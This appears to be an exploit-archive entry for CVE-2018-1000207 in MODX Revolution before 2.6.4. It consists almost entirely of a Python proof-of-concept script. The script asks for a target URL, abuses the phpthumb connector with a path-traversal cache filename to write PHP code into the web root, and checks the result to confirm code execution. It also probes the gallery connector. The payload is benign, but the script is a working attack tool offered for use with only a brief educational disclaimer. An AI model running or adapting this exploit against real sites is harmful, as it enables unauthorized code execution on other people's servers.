Modx Revolution Remote Code Execution

Modx Revolution versions prior to 2.6.4 suffer from a remote code execution vulnerability.


MD5 | 6676ba0c95250f29f12815696ab2b9e4

# Exploit Title: Modx Revolution < 2.6.4 - Remote Code Execution
# Date: 2018-07-13
# Exploit Author: Vitalii Rudnykh
# Vendor Homepage: https://modx.com/
# Version: <= 2.6.4
# CVE : CVE-2018-1000207

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
import os
import requests
from colorama import init, Fore, Style
try:
init()

def cls():
os.system('cls' if os.name == 'nt' else 'clear')

cls()

print(Fore.BLUE +
'################################################################')
print(Fore.CYAN +
'# Proof-Of-Concept for CVE-2018-1000207 (Modx Revolution)')
print('# by Vitalii Rudnykh')
print('# Thanks by AgelNash')
print('# https://github.com/a2u/CVE-2018-1000207/')
print(Fore.BLUE +
'################################################################')
print('Provided only for educational or information purposes')
print(Style.RESET_ALL)
target = input('Enter target url (example: http(s)://domain.tld/): ')

verify = True
code = '<?php echo md5(\'a2u\'); unlink($_SERVER[\'SCRIPT_FILENAME\']);?>'

if requests.get(
target + '/connectors/system/phpthumb.php',
verify=verify).status_code != 404:
print(Fore.GREEN + '/connectors/system/phpthumb.php - found')
url = target + '/connectors/system/phpthumb.php'
payload = {
'ctx': 'web',
'cache_filename': '../../payload.php',
'useRawIMoutput': '1',
'src': '.',
'IMresizedData': code,
'config_prefer_imagemagick': '0'
}

r = requests.post(url, data=payload, verify=verify)
check = requests.get(target + 'payload.php', verify=verify)
if check.text == '9bdc11de19fd93975bf9c9ec3dd7292d':
print(Fore.GREEN + 'Exploitable!\n')
else:
print(Fore.RED + 'Not exploitable!\n')
else:
print(Fore.RED + 'phpthumb.php - not found')

if requests.get(
target + '/assets/components/gallery/connector.php',
verify=verify).status_code != 404:
print(Fore.GREEN + '/assets/components/gallery/connector.php - found')
url = target + '/assets/components/gallery/connector.php'

payload = {
'action': 'web/phpthumb',
'f': 'php',
'useRawIMoutput': '1',
'IMresizedData': 'Ok',
'config_prefer_imagemagick': '0'
}
r = requests.post(url, data=payload, verify=verify)
if r.text == 'Ok':
print(Fore.GREEN + 'Exploitable!\n')
else:
print(Fore.RED + 'Not exploitable!\n')

else:
print(
Fore.RED + '/assets/components/gallery/connector.php - not found')

except KeyboardInterrupt:
cls()


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